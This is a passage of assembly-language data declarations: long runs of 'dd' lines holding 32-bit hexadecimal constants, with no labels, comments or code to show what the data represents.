0F0003832h, 7CDC5ADBh, 624300F4h dd 0DF8F8ECFh, 0DA0012E9h, 0D3963A2Eh, 58385B0Ah, 70188FF0h dd 6D4D6041h, 2F07C600h, 0C8AD8499h, 49F7F5Eh, 4B273036h dd 0CCACF6h, 0FE8D15AEh, 12F5B343h, 0C82EC90h, 0FD990DC0h dd 1C794B00h, 0ACB93778h, 1FC90FB7h, 0FF4048A2h, 8DADBD06h dd 0E9112903h, 0B0E0E19Ah, 513D14h, 63F2A777h, 0A5D0B3B5h dd 66CFD200h, 4327ACFEh, 0ED3ECAFh, 9737A685h, 0C42883F2h dd 56D1A9B0h, 0B4384600h, 0C6CAB2ABh, 8C4E02A3h, 325EE44h dd 21E42CC8h, 0B4ACBE4Bh, 639EEB00h, 3CAA7214h, 21649A27h dd 55F42058h, 6E008428h, 0B01C4FBBh, 0DE90B5F8h, 2D6A951Dh dd 51034CDCh, 82D98C42h, 0D6B8C03Dh, 0CB640053h, 0B0D4C93Ah dd 307C8776h, 1E4482B7h, 18265762h, 1F30F8EEh, 1BEA5881h dd 0DAF6139Bh, 0DA4A0AFh, 7932D430h, 0C0E35FCDh, 5A09FC19h dd 0D625BF82h, 0F0384334h, 3FAE7024h, 0A4007D4Ch, 0F8AAE7BCh dd 0C8A02E7Ah, 0E6078C58h, 531CD0B6h, 9BF31580h, 31490DFBh dd 0CC540DCFh, 498E376h, 370321E0h, 1CB34CFFh, 79B14C2Dh dd 76230177h, 0C879FA4Dh, 4038D915h, 0D0CF61A4h, 0E25F0E7h dd 0C421742Eh, 6FB00518h, 0C84A61BCh, 6F1D43C0h, 5A267860h dd 2E7F2D2h, 57140D4Ch, 607EEF92h, 0A739063Ch, 0A317F07h dd 91ADE654h, 802A9E84h, 0B2211F95h, 0D81E79A1h, 5843F27Fh dd 0B8A2E9B3h, 89347h, 0AFB897Dh, 0E1E89B60h, 0A99C1700h dd 553A8390h, 0DD7300E6h, 9141048Dh, 150212E5h, 0C2683C24h dd 13344E62h, 0C3FD46D4h, 0D09E2E04h, 8B980301h, 47D162EDh dd 5D6FEC49h, 0FC806584h, 313AFFB9h, 0E096D27Eh, 0BD578600h dd 5E7BF0D5h, 644C90A8h, 5200CB47h, 0A5B93B7Ah, 0F93E4B0h dd 0C3E3DB1Bh, 36DC3A40h, 0BAE82360h, 19F0E507h, 0AB2C0Dh dd 0C2A5B226h, 0AB1C30E0h, 9E7E8F28h, 0F373E23Eh, 0FD641F00h dd 82290228h, 88DA60E7h, 0E3746AB1h, 97C66604h, 40AEC9BAh dd 69F390F0h, 8F0549E1h, 9E5194D6h, 0FB4A8441h, 0C450B1CDh dd 0BCB5D70Ah, 0CE12068Ch, 490019ABh, 0FC85145Dh, 0A2901h dd 56FEC43h, 234B2D90h, 0AD698365h, 8FFF9803h, 0CC611CA7h dd 9D5DC0C5h, 36CD872Bh, 184A5C05h, 0B0C007DDh, 0E285F2h dd 31C4BA51h, 0FDDE0170h, 8721B900h, 1B907372h, 33620420h dd 0D051584Fh, 867122E0h, 923F0C00h, 0CE782A3Ch, 494BA9h dd 108B56F0h, 6203EBACh, 0F98CC399h, 0CDA3C8F0h, 0D48001EEh dd 492973F7h, 77CEE020h, 0FFE56B0Bh, 0BD0083F3h, 0EF96B0C2h dd 461F031Ah, 21C48917h, 38080398h, 77887900h, 0C0EEF9Dh dd 0AAA00329h, 0C55CCB82h, 2EA539F9h, 9CE4F885h, 440D0F8Ah dd 0DCA7EEA2h, 0B636E009h, 0D200CCBFh, 0C65A7803h, 0C487B9h dd 55EA3E23h, 0AC7BE358h, 8076CB3Dh, 62BB6607h, 0A027F482h dd 5F0597F4h, 0E188C775h, 0DC65FAA3h, 3776F743h, 0E2A29E00h dd 7003A08Fh, 3F040293h, 572428DBh, 0A4AB9450h, 27D8B9ABh dd 0CE174CDCh, 9100C19Eh, 1C393E8Eh, 0A0720Fh, 848103E5h dd 541EB245h, 55325F02h, 5E31780Eh, 0F430139Ch, 0AB02DF1Ch dd 1CBF2111h, 1F3880DDh, 71F0AFh, 0F2870C64h, 50206EFDh dd 8117837Ch, 4CC0307Ch, 3DE14852h, 0E98B5DC0h, 64A0A254h dd 91A8B23Dh, 6FDDE809h, 0EC4820D3h, 24664A39h, 81349B1Ch dd 41711864h, 1E118B6Ah, 46E980D0h, 0D8747Eh, 490888C3h dd 0EF19C7BDh, 0D9753400h, 6D3C7D2Eh, 92C626A0h, 402C1DA8h dd 0B1BD3B3h, 550128CEh, 54C53E36h, 0EBCBEFC0h, 0BFB18F21h dd 98318DBDh, 61D4F520h, 528379E0h, 8817E06Dh, 0A7B7C200h dd 0CCA88009h, 24D32FB5h, 0E13D4860h, 0BE221B02h, 5E7738F8h dd 0DC190E24h, 14D4A032h, 80695638h, 0D0DD9B80h, 59A2724h dd 0A89C4A5Ah, 0E53480DCh, 0F20E9E1Ch, 0A0CDE297h, 0FEB04011h dd 406FF516h, 331D9200h, 0B8B18FCBh, 0B8FF2D0Ch, 16B2E69Fh dd 28D9BEAh, 0D3E5A0ACh, 0C175458h, 20F49473h, 0FB920315h dd 83AA1C0Fh, 0AFECE90Ah, 0A80AC3Fh, 3375BC7Bh, 28041C71h dd 3A3568Eh, 0A6F8435Ch, 9ECBBB0h, 0CA49313Fh, 64BEC6B0h dd 30FF6195h, 0B6D3127h, 5121E581h, 507140A1h, 469C60ABh dd 0A7605707h, 9AB0DBC9h, 0F2A1D2C6h, 0BF7C397Fh, 0A58165h dd 0CE8C8624h, 9F030EFCh, 25B03640h, 9556F037h, 0F6DD0E6Eh dd 280857Fh, 483F5104h, 58EBEF2Ch, 5060A997h, 4C8B7DEEh dd 0B317481Fh, 0D2D10AC5h, 0DE231E84h, 7AD60034h, 8AE95ACDh dd 28B85D60h, 0EC199D9Ch, 0D1F2019Fh, 0C5ED1C44h, 0AA3887E7h dd 72C1976Dh, 7C2484A6h, 97A3EDFh, 4840F730h, 5000C77Ch dd 0A9ADAC8Ah, 299F6F4Bh, 809C9ABEh, 839E658Eh, 89009CACh dd 0F17C7504h, 120DDE9Fh, 391C685Fh, 5C380230h, 0CE9D0440h dd 0D2BAAD0Fh, 0F5BEE0B0h, 4B5978BBh, 0B26840FCh, 13F09FF2h dd 0B0906F1Dh, 0BF266481h, 4ECDF88h, 48800E3Ch, 1720433Ah dd 18F1A97Ch, 0B1BB2800h, 3F1CB57Ah, 0F623ECFBh, 0AD0D001Ah dd 94EDE8Dh, 68066C12h, 16448692h, 28840621h, 1187F33Fh dd 0C38CE400h, 0B4EDB9F1h, 0F4D8016Ah, 0A3EAB7AFh, 0B07460FCh dd 0E531644h, 0DA7307DBh, 2143B58Fh, 48D6A7D1h, 34404095h dd 24E8955Eh, 0D10C8496h, 41989FA4h, 85F8B129h, 0C2610B85h dd 0A0DAB522h, 0CD560700h, 0C5CAE47Dh, 0E5D7AFAh, 0E838CB55h dd 0A883486Eh, 5480C0C4h, 26021933h, 874A4D01h, 3BE0D6E4h dd 0E598FF80h, 82CF0CCCh dd 0C080E313h, 0F7857000h, 5860CE10h, 3F064CE6h, 0B61EB41Ch dd 82DB7900h, 0C2AA4EBDh, 232C00B5h, 29FD422Dh, 28005777h dd 9712AE8Ch, 0FB3E54h, 0A6D4041Ch, 0D75DCE33h, 48E06C60h dd 4E991F76h, 694D09Fh, 73014D2Bh, 0DC74C1B4h, 5DD47ADBh dd 7EC000B9h, 0ED79A6F4h, 0E61E376Ah, 9282CD9Ah, 74693803h dd 0E0AD006Ch, 0F616FD66h, 8A34103Dh, 0B035C625h, 781B5A80h dd 41C1EF9h, 0BC715539h, 9F04A206h, 0A710028Eh, 0B6A0B849h dd 1DEB52C9h, 2F44946Bh, 0C0275BC3h, 433C681Dh, 881300D3h dd 8A5E06FDh, 6B001BE0h, 0C567CECCh, 720518B5h, 0B679046Eh dd 0AC2EF0CFh, 0E3570058h, 6D1C8593h, 1A7FC12h, 340C8DE7h dd 6F4144F1h, 3B38B460h, 5F5200E9h, 916A19F4h, 0B94CA293h dd 25444DF9h, 1B870F3h, 76283F5Bh, 34176125h, 9891A35Ch dd 10B443Bh, 3E7B53C8h, 0C457B3B2h, 0D2046950h, 44D9470Fh dd 0C77E3CC0h, 3649830h, 4A1E885Ch, 3DC8778Ah, 232E5D95h dd 91306C4Bh, 1B521FCh, 0E5754726h, 0DDDDC27Dh, 0D43687h dd 67BE8DD4h, 9C4E3Ah, 0CA19A1B5h, 743EF826h, 0AFA60D03h dd 0F281D762h, 0C052B7h, 0A3A91C5Fh, 0E4468A78h, 23054B00h dd 52E02DEEh, 45320011h, 0F38C647Eh, 561FEB4Ch, 8ACB1BA1h dd 0CE0CA518h, 6AA62C0Fh, 248498BFh, 40A8C5E1h, 95FB491h dd 0DC809040h, 5A22753Fh, 0F809A47Ch, 8E964025h, 0C221C07Ch dd 3012F350h, 4738A524h, 4A04E314h, 925C26CBh, 0DA0068F9h dd 704D7FD8h, 0CD5CD71Bh, 0E9100394h, 0D0EBD0D9h, 1651375Bh dd 631CFB3h, 4C2AFA2Ch, 39FD8406h, 9932C0h, 501C02FFh dd 0BAF3BC45h, 0EBA5C504h, 9CDC42B4h, 0C0F501DBh, 814C3D7Fh dd 10933EBCh, 9C2800D8h, 0E1C7B3D7h, 69504057h, 0EE000BA0h dd 6AC6B0DAh, 2690BAFFh, 90EC86C7h, 441E7BE2h, 0DFC2EFB0h dd 0C0D8600Ah, 97FA4h, 72CE9C4h, 733AAC24h, 0F0A4584Ah dd 28F8C0AFh, 57CA9AA7h, 4318020Bh, 8076889Fh, 73CB6F1Ch dd 6744C0E4h, 0F58904AFh, 0E5066237h, 0E42C6564h, 71072CFFh dd 9D5C0FCEh, 835388E2h, 0D87CD2DCh, 0C8FD1B8h, 4FE3CBFBh dd 4B099880h, 889ED07Ah, 0B21CB898h, 3411EC92h, 2C604C40h dd 939E30C4h, 4EE05A80h, 27DB3A1Bh, 2CE443A9h, 0D072BF2Eh dd 7F63A000h, 1DC89F83h, 0C21777CFh, 0A3DEB53Bh, 0A50440FEh dd 640036DCh, 1F194387h, 8506F898h, 0A6F23C25h, 0FA840911h dd 0B870666Bh, 27215B1Eh, 0A928039h, 0DD4A3A0Ch, 68FB4C61h dd 0A5987A00h, 39C78067h, 5A770825h, 3B8E009Ch, 0F99D6DC5h dd 8FEA7181h, 0DCF4A54Ah, 0FD2A0046h, 0DA0CA8B3h, 18B6C66Ch dd 87E5D081h, 842216BBh, 8EEB430Ah, 316096BCh, 0F16D3Ch dd 3E305C7Dh, 530070FBh, 68E7D18Fh, 640039C2h, 0B5294A27h dd 1326E85h, 0D25D0A30h, 0CCE4362Eh, 0EF3E8FA7h, 0DDAE806Ch dd 0A142E3ACh, 0C754052Bh, 805D0C83h, 7724B158h, 6B376600h dd 0E601CE6h, 0F4B8254Eh, 0D33B6C40h, 4B89AE00h, 80EE76ECh dd 0D64A007Dh, 1C2DBAF6h, 8F0B8142h, 80DE6EFEh, 0B2140B5Dh dd 1A1748Eh, 0CFB0E122h, 0DC6E30A4h, 0E00972C7h, 0F46DE251h dd 0A40F1364h, 8097260Ch, 9685D170h, 0FA7C00C9h, 64E373A0h dd 0CD27C32Dh, 593849EEh, 687A07Ch, 300A312Fh, 0C16BD4ECh dd 0DDF40850h, 0C0F86400h, 0D19E3C40h, 97E47068h, 2347C40h dd 17817858h, 23AAA6h, 5523C89Ah, 0A80DFE0Eh, 0B4A926F4h dd 0E89C04Ch, 0D8018D47h, 3834C128h, 0C0C26A1Bh, 0CB5734h dd 5C4DF661h, 0BA42F12Fh, 217C731Ch, 84FB8740h, 3E1B740Eh dd 37956AC1h, 9926FC2Ah, 5164006Ch, 0B208A8E1h, 43C8B805h dd 6CC3393Eh, 59BFF877h, 16950066h, 4054D79Ah, 0B538AA32h dd 460B80D6h, 7DC1F09h, 0EEC0E12Fh, 5FFD006Fh, 0E108F86Dh dd 864B9814h, 6112BCC0h, 0B9FF801Ah, 3F0E0F98h, 2033E8h dd 98088CEFh, 6E7187Ch, 94C98AAh, 30B4644Ah, 26FEACh, 841F250Ah dd 0B9A4E5EAh, 580C3B00h, 32C320FEh, 99C98B8h, 0F26B6255h dd 0CD029070h, 184FE989h, 0B46C4169h, 260FC8h, 58CFF52Ch dd 0A8F98B11h, 4C333Ch, 0EB22AFA2h, 89DE6Fh, 0D8BF40F4h dd 2DB0DDA1h, 0D03F6C00h, 0C4BCAEDFh, 22DAA094h, 0DAEA86h dd 0B5FB5E7Ch, 0A8F69792h, 485B6B00h, 0F98874EAh, 28FC6Ch dd 606EA786h, 988BD8F2h, 6AAB431Dh, 0F07DDC40h, 0EEECDFh dd 0D6501D9Bh, 812BB6C2h, 7620C400h, 0FD802A32h, 104148CDh dd 591E6F01h, 708915C2h, 2E0082CCh, 0DF297625h, 2D3809Bh dd 630D0343h, 0A4D48D6Dh, 5E5C3980h, 79CFA664h, 126AE666h dd 90F0C11h, 60030620h, 0A4C43Dh, 63425AF6h, 48B2D0h, 78C687B6h dd 0F16557FAh, 3F25A600h, 8E5E1E71h, 40F33DDCh, 0C1840B00h dd 5B297438h, 1A7D739h, 6011730Ah, 0AC34CFAEh, 1F27230h dd 765DE213h, 340F99DDh, 1B74AB94h, 34E39A17h, 29B94400h dd 95083CFh, 52EA91B6h, 0B300CCFEh, 3A4D18E5h, 0F1F4267Dh dd 0DA4C00FDh, 0F26A7E6h, 0B3417F00h, 2956AA88h, 0B2770037h dd 28C59AAEh, 5C5FEB13h, 0FCABC4C8h, 2E640152h, 0F5078738h dd 20522FA5h, 277CD8E9h, 7040DE63h, 8901C82Bh, 3C8AEBAEh dd 0A082CE99h, 0E292291Eh, 0A8344320h, 0CDCA00BDh, 652E6104h dd 0B600C99Ch, 0C7F76F7h, 38C392h, 0C779069Dh, 2AFE6304h dd 2989427h, 60360B59h, 18FBA5EAh, 0A134C522h, 0AEFA4557h dd 0BA4BDF88h, 3D3C00F0h, 5B6A5D48h, 42313311h, 322530D4h dd 4F3A70h, 0ACAA3C2Bh, 77DD5D1Ch, 0FFA34205h, 50F82E6Eh dd 806B5A71h, 6F28F3ECh, 835BEA05h, 24BC52E7h, 7608D800h dd 0E14946B5h, 59CC9502h, 0C15D2769h, 0E6BB9C7h, 1CE15218h dd 0A60ABCEEh, 49059098h, 24A987ADh, 2B894D00h, 0C251062Ch dd 47CF7801h, 6C5373EAh, 5C7834h, 0F4A6A2A9h, 4ECB90F5h dd 1100D575h, 363DFF97h, 0BE8E702Ch, 0D9948B00h, 0F8F4900h dd 0E302B05Ah, 571A9913h, 7BC5ED5h, 0D9F8BA21h, 50B96407h dd 0FBEA7242h, 70013330h, 16D5B68h, 0E7C45CEEh, 60C9D338h dd 4A1DD0A6h, 0FC1BAA6h, 0B8B3B2C1h, 98283BECh, 0E0EA092Ch dd 80001F9Dh, 9C0FD2DEh, 0BABF5401h, 0F92007E5h, 75F1A030h dd 1E8A09FEh, 908040DEh, 8C431B2Dh, 445840B0h, 1D267797h dd 111290B4h, 0A034A009h, 0BE5FA1B4h, 0EFF1E50h, 87228020h dd 0BF7D1053h, 7ED03E03h, 80D5A01Fh, 7CD6552h, 2C8D7A4Ah dd 17927751h, 785F53BFh, 0A7643801h, 0B8A23FF2h, 0F8642C61h dd 0F5B00047h, 0C93C0584h, 9400F180h, 15B97F3Fh, 363F38Ch dd 5CDD55E3h, 0D03736A3h, 0E727014h, 930C006h, 234FE3Dh dd 7BEB4B5Ah, 4E29A10h, 0B4C2FB00h, 3CB0A7D9h, 4CA57622h dd 19F30D6h, 0BBFF5C1Fh, 15C2CF1h, 634DEDCDh, 0B0603C0Bh dd 0E47E275Ah, 0AF004470h, 38292EBEh, 0C6EFD4Bh, 0F45E4F23h dd 0D106CE38h, 0FBBAB86Ah, 0CC180410h, 0F8CBBEADh, 0AA2100D0h dd 7D1D1A93h, 8AC8C001h, 7B10D14Bh, 9500C67Fh, 0A180E5A3h dd 0E0C76F04h, 0D2AA075Ch, 0D028F9D6h, 9B64EDA6h, 1D2BE203h dd 0F07C4808h, 1A040B1h, 0FCAF70E0h, 0C083C433h, 947CC68Eh dd 36995900h, 0C86B3287h, 9155006Ch, 0ED64AFC3h, 0DB09ACECh dd 0F6475416h, 0E6B809E4h, 0E5C24F0h, 0B68B0008h, 24E3DADBh dd 4DC42871h, 0ED9105B0h, 0ECEE7009h, 0DA9D0220h, 7C0A9747h dd 0A8B203E0h, 28D2E2F9h, 0FDC7E05Dh, 43260786h, 6E70531Bh dd 823A6560h, 2D72E9E5h, 1FFE1300h, 0A9889B6Ch, 35050ECCh dd 0A337F744h, 0F627C1B4h, 242806h, 70E1954Bh, 0B61180C4h dd 593441C9h, 0F6FCA0A6h, 0C1568885h, 29E4E80h, 50CD4A0Dh dd 30C902F3h, 0DCD03A65h, 746182Dh, 0C15E98Fh, 0F1200CE8h dd 0F3583103h, 891A5668h, 18803859h, 0E9443F2Eh, 0F8004A4Eh dd 739EB745h, 121801E0h, 0FCC8D6h, 0B0DAF608h, 4D246DABh dd 3B0E003Eh, 0CC03E338h, 2F50E8B9h, 50576BAh, 8DC0E9D8h dd 0A688011h, 8B07B313h, 0F02C3953h, 0EAFE466Eh, 5C9D0011h dd 8559EB68h, 4D00AD74h, 81EEACEFh, 0C0775BE4h, 1A9BFAF9h dd 0F4C6223h, 8BC84C53h, 1CC7938h, 5435E045h, 14812FC5h dd 6BF9E571h, 8624F462h, 0B0FF1601h, 690517ECh, 944A92FDh dd 0EBB068E8h, 0B137D961h, 78E168B6h, 0B450FAB8h, 9F1DE5C5h dd 45B22C80h, 0A001B5F9h, 2CCF6821h, 0D8F8AC98h, 46073E95h dd 998AC10Eh, 640BE5h, 1C17B7A4h, 78BCEC47h, 8E071E10h dd 99B2373Ch, 1FC4C00h, 7612984Fh, 1C001A47h, 6F0CEA38h dd 3DF94882h, 31F67100h, 4B0323DEh, 802F9D3Bh, 6B897846h dd 3FEA36D4h, 9C804487h, 345BA127h, 4A00C850h, 0A62D1E64h dd 9CFD9414h, 31D412B8h, 0B5D354h, 7842C9BCh, 10B10151h dd 98568AAAh, 0FB84304Dh, 5E3AF803h, 0C0DCB988h, 3A0636D0h dd 390BD55Ah, 7490A0AAh, 0A1007D4Ah, 0AF590DBFh, 4CCF51DCh dd 955AB043h, 0A5420490h, 40C0B0B0h, 0F0E4600h, 0D470BB5Fh dd 96D7012Eh, 31B04481h, 78B8C12Ah, 63162DB0h, 80394A08h dd 0FFA3304h, 7D5A18FEh, 63A62000h, 788CB8FCh, 22FD0003h dd 31C2BBB5h, 813346Fh, 0C9426CAh, 0B35020FAh, 0B40C807Ah dd 482E9998h, 13700EAh, 0D86392AFh, 0D20544F5h, 0D115350Ah dd 5DDF74C8h, 343E2443h, 0C2483C80h, 576C2995h, 62CA2E1Eh dd 0E596C300h, 644D12h, 97FABF94h, 0FBC77F90h, 0EEB08900h dd 719AC87h, 7B39052Eh, 17A9BEDBh, 34A6A0F5h, 856E6000h dd 9542DF1h, 0D6E80001h, 633AC2B3h, 64B0AE2Bh, 4F170A90h dd 78E0DFB8h, 2330010h, 1F9F957Ch, 0A200DE61h, 1405E8B3h dd 655AE1h, 55D4FBC5h, 269AE9B8h, 0EBA5580Bh, 5EE000C7h dd 17B24C60h, 0E8727B6h, 0D4202C77h, 20375241h, 8008D600h dd 0B161035Dh, 0EE21C0B9h, 1EA0F7A1h, 2725401Dh, 0A7607100h dd 430C738h, 0CA773C4Eh, 18F0928Ah, 0C2C88243h, 0EB008F5Fh dd 3E4B856h, 0EC7109DEh, 0CB940084h, 6DEC62D2h, 8577A030h dd 6A01C400h, 1D885527h, 63EE07ADh, 5220D358h, 9CE3BBFAh dd 23E349D9h, 7C42570h, 67E077A0h, 1D6238CAh, 5023E7B3h dd 4A04B20h, 1852E254h, 191B4589h, 37C2787h, 8039C73Eh dd 0F133BCC5h, 190E4Fh, 89683224h, 0E910E238h, 44DB3Fh dd 14DDDCEAh, 0EE8226D2h, 63DF165Bh, 64ACF115h, 4A0ED7BCh dd 409B10FDh, 7B31FA87h, 0F9680117h, 95572DBBh, 2F5DD0F0h dd 58C0354Ah, 1E49D4Fh, 4BCAA972h, 3EC2CE8Ch, 0C2753482h dd 70A0D5D9h, 0C0C488C8h, 51F94100h, 0DA4B0C9Dh, 9CDE0929h dd 94F6FAEBh, 3A3D8E01h, 0C8705C11h, 79EFA98h, 28BBA8D9h dd 0BC49D42Bh, 0DFF20B30h, 8856B0h, 0DE3D7545h, 11CF2687h dd 0A7B30F0Dh, 5E09DB52h, 314A44DCh, 7B00E19Bh, 830027E0h dd 0E91CEAD4h, 0B80DAF08h, 0A2BE3DCAh, 0F4003DD8h, 0E424439Dh dd 0BC0647E3h, 3F623DEEh, 15421D78h, 0E94359F6h, 0DA7360FFh dd 0EE9F60C0h, 0E81030h, 363D7E1Ah, 0A212EC51h, 0E0D22BE7h dd 935800C2h, 0C1B5DAE1h, 7CC04E10h, 0E27800B9h, 5F47BC77h dd 3F008848h, 5939216Eh, 95358D82h, 7A78E8E8h, 0D90C2C0Eh dd 0CEEBA7EEh, 0F5B00707h, 1568330h, 38F2CAA8h, 3031EDDEh dd 5E7A1260h, 9498CA8h, 3FA0C400h, 0A23C6FD4h, 0F26E000Eh dd 139FF623h, 5B1C95DEh, 0EFC03EACh, 0DAFEAB28h, 0D2A305h dd 4FF62240h, 990C9B7Ch, 59C3C9F6h, 0B828CE53h, 54F845h dd 0CB1B2249h, 5B3D4773h, 603F7916h, 56221CADh, 91FAF000h dd 0B82DE0A6h, 735A0282h, 0C4FF887Dh, 0AF128260h, 1D03E4Ch dd 0DA365994h, 0E1D09339h, 483D006Ch, 2C14EEA7h, 7A0F0CFFh dd 356DA23h, 0F8D2D890h, 0A7E140h, 0D6E61576h, 0A44DEF30h dd 90754C31h, 0D910733Eh, 1D05ADE9h, 0B709FAD6h, 40AEE080h dd 0A05C1751h, 0BC7C033Eh, 991D3105h, 0B5068E3Ah, 1640AD6Dh dd 0FCFCDE68h, 0EBE52408h, 0C90CC603h, 87D3Ch, 322C74FDh dd 3B694A8Eh, 600167E8h, 6B4E99E9h, 65F08C2Eh, 1A6F838h dd 4B9B2D9Fh, 0E0982F9Ah, 7AE80A24h, 498B10C0h, 0CCE952h dd 0D541294Eh, 901901D0h, 3C6D7B04h, 7FC0B299h, 1E98748Fh dd 3E4A9B2Bh, 9C768903h, 4CC18A39h, 3007D338h, 6BB48B37h dd 2C409187h, 167941Dh, 4FDC359Eh, 49DD3F9Fh, 0BB041E64h dd 0A896B2E0h, 839210CFh, 3BB17Bh, 0CB61DC21h, 2862B525h dd 9ABDCD19h, 21802908h, 6ACB69FBh, 190CCF4Fh, 59C7B5D9h dd 1F837BC2h, 9B2AA175h, 9DE06115h, 5400EC89h, 74D71BAEh dd 1E9082Bh, 8072EEB1h, 2F556046h, 7A3FEFE0h, 4CC7504Eh dd 6F0F8C7Dh, 0B1B523CBh, 0FD802188h, 0BC69CB97h, 544A1CC0h dd 0FE8340DDh, 7D05FABh, 6B8D800h, 278FB952h, 59363EEBh dd 1838CB18h, 5A142FC9h, 690CA83h, 0D8D55785h, 5BB100C8h dd 0DCDA041Ch, 0EC15C962h, 1A40BFEh, 6F7B212Ch, 0C0990E85h dd 8035098Dh, 7B194C21h, 1F04CB4Ah, 0CA3F5521h, 818CD0B0h dd 2F9DDD66h, 6DCC4858h, 38F3A0C4h, 1902FF06h, 71A70B00h dd 0A9B3A396h, 0EFAB0C30h, 0E690E73Fh, 7B27048Ch, 623E8565h dd 1F462031h, 0E30EF67Bh, 17AA1C0h, 0B32216F3h, 2833A07Fh dd 85D578C2h, 0D80C01D1h, 0CFF048BCh, 900D689h, 88153F67h dd 8AE07805h, 2F86C8D2h, 0C79095Fh, 0A0D16785h, 0B14CD38h dd 3A8EEBCh, 43AF4FC7h, 1F3DE329h, 0CF479C39h, 4440375Fh dd 73441F2h, 6C6798C0h, 306D3C33h, 0E9A1CDE4h, 6E01199Fh dd 8BA8052h, 898F84Ah, 0E71021E0h, 7299190Fh, 0D8E4E6D3h dd 58FF0019h, 34E671F8h, 83030760h, 6D48DEB7h, 42BF3AFh dd 796605B9h, 512F03BCh, 0E519283Ah, 24290024h, 25EFF3B3h dd 0A11E78D4h, 8A54B143h, 0E3C1468h, 4F8781F0h, 0F08345F9h dd 0C0980633h, 0FC04F2E7h, 4FBF8881h, 0A69210B7h, 3CC80662h dd 20FBD02Ch, 0A9878B0Dh, 4AF090A8h, 0C588A004h, 0CC3F24B9h dd 414C0264h, 98805D08h, 94D798C7h, 70814663h, 3A6A00Fh dd 3E20DE5Ch, 0DA141C08h, 8C7387BEh, 0ED405FE3h, 0CC484738h dd 9921AF08h, 988C7B00h, 941A2C33h, 546C069Bh, 50024FA1h dd 0FDEF4700h, 2A33F803h, 366719Ch, 0B8526754h, 0A07C3ACBh dd 6DC9B319h, 0E45897B8h, 741908E5h, 0A70F052h, 2D1903EDh dd 0E40BDEA7h, 1ADC409Ch, 372EFB3h, 0FE4204F2h, 3AC00EAFh dd 9174C49Fh, 90C0AA0Dh, 2C243182h, 63048C79h, 72B527CBh dd 0F9809867h, 862ACB6Bh, 5397093Bh, 0D0202FB9h, 0D4ED7B51h dd 181FA4A1h, 9E8C046Eh, 2CEE9B5Fh, 8C76009Ch, 0F4A82E86h dd 6C1994F9h, 9F712DB2h, 85DEC0h, 0E0ED961Bh, 0FED92EADh dd 35B8A00Ch, 2A8078D6h, 9A8DDFFh, 0F6985BB5h, 88101001h dd 2F498DC0h, 19E07155h, 50BAFACDh, 8C6CBC28h, 71119E7Fh dd 0DE888852h, 19E60F80h dd 3EB5FC48h, 6960BC23h, 0C715130h, 17C1A52h, 5FE58C75h dd 0AA0CED43h, 197D8788h, 18DA0F8Ch, 1E9C42D8h, 148C7130h dd 20635FE1h, 9B80A088h, 1CB78C79h, 2DDA140Ah, 2830FEADh dd 9CE744F1h, 0F43E293Ah, 43025C00h, 0FD865B58h, 0D7A900BDh dd 0AC9D6580h, 0D8187A96h, 0FF59D3B3h, 0F094A804h, 1E5B0024h dd 6CE2CBAFh, 0EC3AFA3Fh, 2F2A8D68h, 6EF008B7h, 26217C72h dd 4094E466h, 0F17668F2h, 0BDEA261Fh, 0A319CF18h, 285A01FEh dd 6D61E2F5h, 77402059h, 0CB65048Ch, 6242B529h, 6DF72024h dd 263EB3CBh, 0B5A8021Fh, 81E8AC53h, 840A83C4h, 301BA442h dd 0E2108C72h, 98E07B5Fh, 3D038C7Ah, 0D172971Eh, 0E498AD71h dd 913498CBh, 0D50A3CCCh, 4746E89h, 80596049h, 0D6E59680h dd 0D95619C0h, 6067F821h, 0A885F27Dh, 521D408Fh, 4FCBBA38h dd 0B30026F5h, 18D5EEE0h, 0C8DC9023h, 0EA79197Ch, 51CC8D31h dd 5DE19D29h, 28679CD0h, 83C01B7Ch, 7460E1BCh, 57155980h dd 0EE77E5B9h, 48A56898h, 0B60AEE4h, 57E83ED5h, 4F3FC013h dd 0A109DC23h, 543234FCh, 7830E1F2h, 8B4F2E36h, 0DCAE0C3Bh dd 0D912B771h, 0DC0C2583h, 0B12438CCh, 18DFD168h, 9C8403F9h dd 2613D9BFh, 0FC54500Bh, 0F55C82AEh, 0FF0B0F89h, 0F42C010h dd 4E070517h, 90513002h, 6400C7EFh, 0F7FE60A3h, 15C7461h dd 0CAF2C5D9h, 70196F3Dh, 71D00FA0h, 93B11E90h, 43BCDCACh dd 0E230DDA2h, 7FA117F3h, 0D64C225Bh, 0A737B222h, 0E05FDED4h dd 0D1317787h, 4E8C2E55h, 80E9118Ch, 85647B26h, 33448C36h dd 7B1E0049h, 0C2F9E2F8h, 0D0BECA7h, 9980D59Ch, 9026B884h dd 0A0209014h, 6F028C73h, 935F9F8Ch, 10AB19EEh, 0E88C779Dh dd 51E09D79h, 0EE309058h, 0D52CC9D8h, 3DC12887h, 0BFDC4438h dd 0CD0BB114h, 9C5900F4h, 93CBD37Ch, 2BF12651h, 26902844h dd 1F586FE6h, 24160096h, 0C3BC67E4h, 0EB8B048h, 19472FF1h dd 6C40E5F1h, 94FE464h, 0D2D662EDh, 9866C424h, 0B2067FB8h dd 67BF524Fh, 4C155060h, 65070C62h, 0B528D0B7h, 2330DA59h dd 19E1016Bh, 18905270h, 0E90E88E2h, 45EE1900h, 8D24E1D2h dd 0D8510C9Ch, 0C1F021BFh, 0D05F9A06h, 4910D297h, 0AAACF856h dd 675E018Ch, 361F4A66h, 0B487017h, 26B01C5Dh, 470AF46Dh dd 70AC943Eh, 0B50411Dh, 0D822BC4Dh, 65173F12h, 3688C08Bh dd 0E013F2C3h, 643403B5h, 0C2B678F9h, 0B0339634h, 43527719h dd 0EC0980F8h, 165B4119h, 50DFD444h, 0E5ECC0F0h, 0AB74038Ch dd 98593912h, 53D11DB0h, 92BA91Bh, 6BD0B1F8h, 74E40AD2h dd 0EF02DE46h, 3FFF9CE3h, 616084AFh, 45CCEBF8h, 0C232E900h dd 9AA3AF0Ah, 67C0085Bh, 0AB80D5E5h, 3859B1EDh, 0F6440088h dd 0A02CA7C8h, 0C98030B3h, 0E6CD0033h, 0A380E558h, 0A0B3A34h dd 6BAC4B2h, 949EDA8h, 15D2FD9h, 1041F062h, 7B2418EBh dd 2685237Bh, 4B003211h, 11017B1Ch, 4601F45Ch, 5F9C1BC1h dd 5424EF80h, 0D215242Ah, 71EE8034h, 0AF025E97h, 0E7F3F05h dd 18D29C88h, 93F120D7h, 820083E1h, 95430B90h, 2694AE17h dd 1174E38Bh, 0AFD811D0h, 79677C78h, 8CD528CEh, 0A9520910h dd 50213B8Bh, 73D4ED4Bh, 30ACA2ACh, 351FB743h, 245841F2h dd 0FD89C750h, 28195864h, 18D315h, 4E610905h, 